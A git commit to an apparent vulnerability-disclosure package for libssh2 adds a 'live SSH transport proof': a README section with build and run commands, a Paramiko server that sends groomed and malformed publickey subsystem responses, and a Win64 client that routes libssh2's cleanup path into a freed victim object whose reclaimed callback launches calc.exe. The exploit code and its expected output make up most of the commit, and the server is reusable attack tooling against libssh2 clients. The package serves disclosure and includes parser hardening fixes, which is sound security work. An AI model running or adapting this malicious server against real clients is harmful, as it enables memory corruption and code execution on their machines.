Add live SSH transport proof

This commit is contained in:
ashton
2026-06-25 23:50:28 -05:00
parent d2e9cc4edd
commit 6f25f45b94
5 changed files with 585 additions and 3 deletions

View File

@@ -42,12 +42,14 @@ reject num_attrs values that overflow the attrs allocation multiplication
```text
poc/publickey_win32_heap_groom_calc_repro.c
poc/publickey_win64_arbitrary_free_calc_repro.c
poc/live_publickey_server.py
poc/live_publickey_client_win64.c
replay-calc-poc.py
evidence/2026-06-25-local-calc-replay.txt
SHA256SUMS.txt
```
The replay runner builds temporary vulnerable and checked executables under `build/`. The checked executables link against a publickey object with the two parser hardening changes above. The vulnerable executables link against the target commit.
The replay runner builds temporary vulnerable and checked executables under `build/`. The checked executables link against a publickey object with the two parser hardening changes above. The vulnerable executables link against the target commit. The live transport files run the Win64 cleanup chain through a real SSH session and the publickey subsystem.
## Quick replay
@@ -211,3 +213,36 @@ if num_attrs exceeds SIZE_MAX / sizeof(libssh2_publickey_attribute), reject the
```
These two changes remove the Win64 stale cleanup path and the Win32 allocation-wrap path exercised by the checked executables.
## Live SSH transport proof
The live transport proof keeps the same Win64 cleanup primitive but drives it through a localhost SSH connection. `poc/live_publickey_server.py` is a Paramiko SSH server that accepts password authentication, opens the `publickey` subsystem, sends the groomed version response, and then sends the malformed `publickey` response. `poc/live_publickey_client_win64.c` is a target-shaped Win64 libssh2 client that connects to that server, uses the public libssh2 APIs, and routes libssh2 allocation callbacks through a tracked heap wrapper.
The client reserves the victim object at `0x0000013370000000`. The server default writes that address at offset `27`, which maps to the first future list entry's `attrs` field for this Win64 build shape.
Server:
```sh
python3 poc/live_publickey_server.py --host 127.0.0.1 --port 2228 --victim 0x0000013370000000 --offset 27
```
Client:
```sh
x86_64-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o live_publickey_client_win64.exe poc/live_publickey_client_win64.c "${LIBSSH2_OBJDIR}/publickey_win64.o" -lws2_32 -lbcrypt
wine ./live_publickey_client_win64.exe 127.0.0.1 2228 calc
```
Expected proof signals:
```text
ssh_handshake=ok
ssh_auth=ok
publickey_init=ok
victim_free_callback ptr=0000013370000000
replacement=0000013370000000 same_as_victim=1
calc_payload_reached
calc_launch=success
```
The live proof is still target-shaped. It demonstrates that the publickey list parser state machine can be driven over an SSH transport into stale-object cleanup and a reclaimed callback under the demonstrated allocator and layout conditions.

View File

@@ -1,5 +1,7 @@
1FB2F963B1CC4AE006057DF5B1AD4582A8B019A8E077BCA70766123B4BA8CED0 evidence/2026-06-25-local-calc-replay.txt
641801B428B2046B92F164C15761182E2D011E5076FC4B0A72AD225F0243DAFD poc/publickey_win32_heap_groom_calc_repro.c
D381904C6F61BC8BEE9711236CA96509BBEC35069DED18C76443A0E7C6D776E7 poc/publickey_win64_arbitrary_free_calc_repro.c
1A7EFC4E852071DC15930E9028D77851293E4233C6B79A7ADC3AE545A7846AD0 README.md
D3D3D346F0D7CA1E2EC6F203D34630B7A9AE912E6B2C820D249CF7A49C8C026D poc/live_publickey_client_win64.c
B36ED903930E703E9768E2AB585BC013DA1E26E8C1A3D0B7C9B6D7C4FAFAA159 poc/live_publickey_server.py
7B2574A923F87325975116EC0C3489AD6ABA516AA87869989E43013A6410258A README.md
2FAEE0238091D998A6D9E069B0B5D001F9E5AF7CDFA9A9DCA4346037D5526B64 replay-calc-poc.py

View File

@@ -0,0 +1,349 @@
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "libssh2.h"
#include "libssh2_publickey.h"
#define FIXED_VICTIM_ADDR ((uintptr_t)0x0000013370000000ULL)
#define MAX_RECORDS 16384
struct victim {
void (*cb)(void);
unsigned char pad[120];
};
struct alloc_record {
void *ptr;
int live;
};
static HANDLE app_heap;
static struct alloc_record records[MAX_RECORDS];
static struct victim *stale_victim;
static int victim_freed;
static int launch_real_calc;
static unsigned long heap_free_failures;
static unsigned long ignored_unknown_frees;
static void track_ptr(void *ptr)
{
size_t i;
if(!ptr)
return;
for(i = 0; i < MAX_RECORDS; i++) {
if(!records[i].live) {
records[i].ptr = ptr;
records[i].live = 1;
return;
}
}
}
static int untrack_ptr(void *ptr)
{
size_t i;
for(i = 0; i < MAX_RECORDS; i++) {
if(records[i].live && records[i].ptr == ptr) {
records[i].live = 0;
return 1;
}
}
return 0;
}
static void safe_callback(void)
{
fprintf(stderr, "safe_callback_reached\n");
}
static void launch_calc_callback(void)
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
char cmd[] = "calc.exe";
FILE *f = fopen("live_ssh_calc_payload_reached.txt", "wb");
if(f) {
fputs("live ssh calc payload reached\n", f);
fclose(f);
}
fprintf(stderr, "calc_payload_reached callback=%p\n",
launch_calc_callback);
if(launch_real_calc) {
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);
if(CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL,
&si, &pi)) {
fprintf(stderr, "calc_launch=success pid=%lu\n",
(unsigned long)pi.dwProcessId);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
else {
fprintf(stderr, "calc_launch=failed error=%lu\n",
(unsigned long)GetLastError());
ExitProcess(78);
}
}
ExitProcess(77);
}
static void *app_alloc_raw(size_t size)
{
void *ptr = HeapAlloc(app_heap, 0, size ? size : 1);
track_ptr(ptr);
return ptr;
}
static void app_free_raw(void *ptr)
{
if(!ptr)
return;
if(ptr == stale_victim) {
victim_freed = 1;
fprintf(stderr, "victim_free_callback ptr=%p\n", ptr);
return;
}
if(!untrack_ptr(ptr)) {
ignored_unknown_frees++;
fprintf(stderr, "free_ignored_unknown ptr=%p\n", ptr);
return;
}
if(!HeapFree(app_heap, 0, ptr)) {
heap_free_failures++;
fprintf(stderr, "heap_free_failed ptr=%p error=%lu\n", ptr,
(unsigned long)GetLastError());
}
}
static LIBSSH2_ALLOC_FUNC(app_alloc)
{
void *ptr;
(void)abstract;
ptr = app_alloc_raw(count);
fprintf(stderr, "alloc size=%llu ptr=%p\n",
(unsigned long long)(count ? count : 1), ptr);
return ptr;
}
static LIBSSH2_FREE_FUNC(app_free)
{
(void)abstract;
fprintf(stderr, "free ptr=%p\n", ptr);
app_free_raw(ptr);
}
static LIBSSH2_REALLOC_FUNC(app_realloc)
{
void *newptr;
(void)abstract;
if(!ptr)
return app_alloc(count, abstract);
if(!untrack_ptr(ptr)) {
ignored_unknown_frees++;
fprintf(stderr, "realloc_ignored_unknown old=%p size=%llu\n", ptr,
(unsigned long long)(count ? count : 1));
return NULL;
}
newptr = HeapReAlloc(app_heap, 0, ptr, count ? count : 1);
if(newptr)
track_ptr(newptr);
fprintf(stderr, "realloc old=%p size=%llu new=%p\n", ptr,
(unsigned long long)(count ? count : 1), newptr);
return newptr;
}
static int init_fixed_victim(void)
{
struct victim payload;
stale_victim = (struct victim *)VirtualAlloc(
(LPVOID)FIXED_VICTIM_ADDR, sizeof(*stale_victim),
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if(!stale_victim) {
fprintf(stderr, "fixed_victim_alloc_failed addr=0x%016llx error=%lu\n",
(unsigned long long)FIXED_VICTIM_ADDR,
(unsigned long)GetLastError());
return 0;
}
memset(stale_victim, 0x42, sizeof(*stale_victim));
stale_victim->cb = safe_callback;
memset(&payload, 0x43, sizeof(payload));
payload.cb = launch_calc_callback;
fprintf(stderr,
"fixed_victim=%p victim_size=%llu replacement_callback=%p\n",
stale_victim, (unsigned long long)sizeof(*stale_victim),
launch_calc_callback);
return 1;
}
static SOCKET connect_tcp(const char *host, const char *port)
{
struct addrinfo hints;
struct addrinfo *res = NULL;
struct addrinfo *cur;
SOCKET sock = INVALID_SOCKET;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if(getaddrinfo(host, port, &hints, &res) != 0)
return INVALID_SOCKET;
for(cur = res; cur; cur = cur->ai_next) {
sock = socket(cur->ai_family, cur->ai_socktype, cur->ai_protocol);
if(sock == INVALID_SOCKET)
continue;
if(connect(sock, cur->ai_addr, (int)cur->ai_addrlen) == 0)
break;
closesocket(sock);
sock = INVALID_SOCKET;
}
freeaddrinfo(res);
return sock;
}
static void print_last_error(LIBSSH2_SESSION *session, const char *where)
{
char *errmsg = NULL;
int errlen = 0;
int err = libssh2_session_last_error(session, &errmsg, &errlen, 0);
fprintf(stderr, "%s_failed err=%d msg=%.*s\n", where, err, errlen,
errmsg ? errmsg : "");
}
int main(int argc, char **argv)
{
const char *host = "127.0.0.1";
const char *port = "2228";
WSADATA wsadata;
SOCKET sock;
LIBSSH2_SESSION *session;
LIBSSH2_PUBLICKEY *pkey;
libssh2_publickey_list *list = NULL;
unsigned long num_keys = 0;
struct victim replacement_payload;
struct victim *replacement;
int rc;
if(argc > 1)
host = argv[1];
if(argc > 2)
port = argv[2];
if(argc > 3 && !strcmp(argv[3], "calc"))
launch_real_calc = 1;
app_heap = HeapCreate(0, 0, 0);
if(!app_heap)
return 69;
if(!init_fixed_victim())
return 68;
memset(&replacement_payload, 0x43, sizeof(replacement_payload));
replacement_payload.cb = launch_calc_callback;
if(WSAStartup(MAKEWORD(2, 2), &wsadata) != 0)
return 2;
rc = libssh2_init(0);
if(rc) {
fprintf(stderr, "libssh2_init_failed rc=%d\n", rc);
return 3;
}
sock = connect_tcp(host, port);
if(sock == INVALID_SOCKET) {
fprintf(stderr, "connect_failed host=%s port=%s error=%d\n", host,
port, WSAGetLastError());
return 4;
}
fprintf(stderr, "tcp_connected host=%s port=%s\n", host, port);
session = libssh2_session_init_ex(app_alloc, app_free, app_realloc, NULL);
if(!session)
return 5;
libssh2_session_set_blocking(session, 1);
rc = libssh2_session_method_pref(
session, LIBSSH2_METHOD_KEX,
"curve25519-sha256,curve25519-sha256@libssh.org,"
"ecdh-sha2-nistp256,diffie-hellman-group14-sha256,"
"diffie-hellman-group14-sha1");
if(rc)
fprintf(stderr, "kex_pref_rc=%d\n", rc);
rc = libssh2_session_handshake(session, (libssh2_socket_t)sock);
if(rc) {
print_last_error(session, "handshake");
return 6;
}
fprintf(stderr, "ssh_handshake=ok\n");
rc = libssh2_userauth_password(session, "user", "pass");
if(rc) {
print_last_error(session, "password_auth");
return 7;
}
fprintf(stderr, "ssh_auth=ok\n");
pkey = libssh2_publickey_init(session);
if(!pkey) {
print_last_error(session, "publickey_init");
return 8;
}
fprintf(stderr, "publickey_init=ok\n");
{
int attempt;
for(attempt = 1; attempt <= 1000; attempt++) {
rc = libssh2_publickey_list_fetch(pkey, &num_keys, &list);
if(rc != LIBSSH2_ERROR_EAGAIN)
break;
Sleep(10);
}
}
fprintf(stderr,
"list_fetch_rc=%d num_keys=%lu victim_freed=%d ignored_unknown_frees=%lu heap_free_failures=%lu\n",
rc, num_keys, victim_freed, ignored_unknown_frees,
heap_free_failures);
if(rc)
print_last_error(session, "list_fetch");
replacement = NULL;
if(victim_freed)
replacement = stale_victim;
else
replacement = (struct victim *)app_alloc_raw(sizeof(*replacement));
fprintf(stderr, "replacement=%p same_as_victim=%d\n", replacement,
replacement == stale_victim);
if(replacement)
memcpy(replacement, &replacement_payload, sizeof(replacement_payload));
fprintf(stderr, "triggering_stale_callback cb=%p\n", stale_victim->cb);
stale_victim->cb();
return victim_freed ? 2 : 1;
}

View File

@@ -0,0 +1,184 @@
import argparse
import socket
import struct
import sys
import threading
import time
import paramiko
DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 2228
DEFAULT_VICTIM = 0x0000013370000000
LIST_ENTRY_SIZE_WIN64 = 48
def ssh_string(value):
return struct.pack(">I", len(value)) + value
def subsystem_packet(payload):
return struct.pack(">I", len(payload)) + payload
def version_response():
return subsystem_packet(ssh_string(b"version") + struct.pack(">I", 2))
def version_groom_response(attrs_ptr, offsets):
payload_len = 9 * LIST_ENTRY_SIZE_WIN64
payload = bytearray(payload_len)
prefix = ssh_string(b"version")
payload[: len(prefix)] = prefix
for offset in offsets:
struct.pack_into("<Q", payload, offset, attrs_ptr)
return subsystem_packet(bytes(payload))
def malformed_publickey_response():
payload = ssh_string(b"publickey") + ssh_string(b"n") + b"\x00"
return subsystem_packet(payload)
def recv_exact(channel, wanted):
chunks = []
total = 0
while total < wanted:
chunk = channel.recv(wanted - total)
if not chunk:
raise EOFError("channel closed")
chunks.append(chunk)
total += len(chunk)
return b"".join(chunks)
def recv_subsystem_packet(channel):
header = recv_exact(channel, 4)
length = struct.unpack(">I", header)[0]
return recv_exact(channel, length)
def send_all(channel, data):
offset = 0
while offset < len(data):
sent = channel.send(data[offset:])
if sent <= 0:
raise EOFError("send failed")
offset += sent
def serve_publickey_channel(channel, attrs_ptr, offsets, hold_seconds, done):
try:
client_version = recv_subsystem_packet(channel)
print(f"server_recv_version_len={len(client_version)}", flush=True)
send_all(channel, version_response())
print("server_sent_version=1", flush=True)
client_list = recv_subsystem_packet(channel)
print(f"server_recv_list_len={len(client_list)}", flush=True)
send_all(channel, version_groom_response(attrs_ptr, offsets))
print(
f"server_sent_groom_attrs=0x{attrs_ptr:016x} offsets={offsets}",
flush=True,
)
send_all(channel, malformed_publickey_response())
print("server_sent_malformed_publickey=1", flush=True)
time.sleep(hold_seconds)
except Exception as exc:
print(f"server_error={exc}", flush=True)
finally:
done.set()
try:
channel.close()
except Exception:
pass
class PublickeyServer(paramiko.ServerInterface):
def __init__(self, attrs_ptr, offsets, hold_seconds, done):
self.attrs_ptr = attrs_ptr
self.offsets = offsets
self.hold_seconds = hold_seconds
self.done = done
def check_auth_password(self, username, password):
print(f"auth username={username!r} password_len={len(password)}", flush=True)
return paramiko.AUTH_SUCCESSFUL
def get_allowed_auths(self, username):
return "password"
def check_channel_request(self, kind, chanid):
print(f"channel_request kind={kind!r} chanid={chanid}", flush=True)
if kind == "session":
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_channel_subsystem_request(self, channel, name):
print(f"subsystem_request name={name!r}", flush=True)
if name != "publickey":
return False
worker = threading.Thread(
target=serve_publickey_channel,
args=(
channel,
self.attrs_ptr,
self.offsets,
self.hold_seconds,
self.done,
),
daemon=True,
)
worker.start()
return True
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--host", default=DEFAULT_HOST)
parser.add_argument("--port", type=int, default=DEFAULT_PORT)
parser.add_argument("--victim", type=lambda s: int(s, 0), default=DEFAULT_VICTIM)
parser.add_argument(
"--offset",
dest="offsets",
action="append",
type=lambda s: int(s, 0),
default=None,
)
parser.add_argument("--hold", type=float, default=2.0)
args = parser.parse_args()
offsets = args.offsets if args.offsets is not None else [27]
host_key = paramiko.RSAKey.generate(2048)
done = threading.Event()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((args.host, args.port))
sock.listen(1)
print(
f"server_listening={args.host}:{args.port} victim=0x{args.victim:016x} offsets={offsets}",
flush=True,
)
client, addr = sock.accept()
print(f"server_client={addr[0]}:{addr[1]}", flush=True)
transport = paramiko.Transport(client)
transport.add_server_key(host_key)
transport.start_server(
server=PublickeyServer(args.victim, offsets, args.hold, done)
)
channel = transport.accept(20)
if channel is None:
print("server_no_channel=1", flush=True)
return 1
done.wait(20)
transport.close()
sock.close()
print("server_done=1", flush=True)
return 0
if __name__ == "__main__":
sys.exit(main())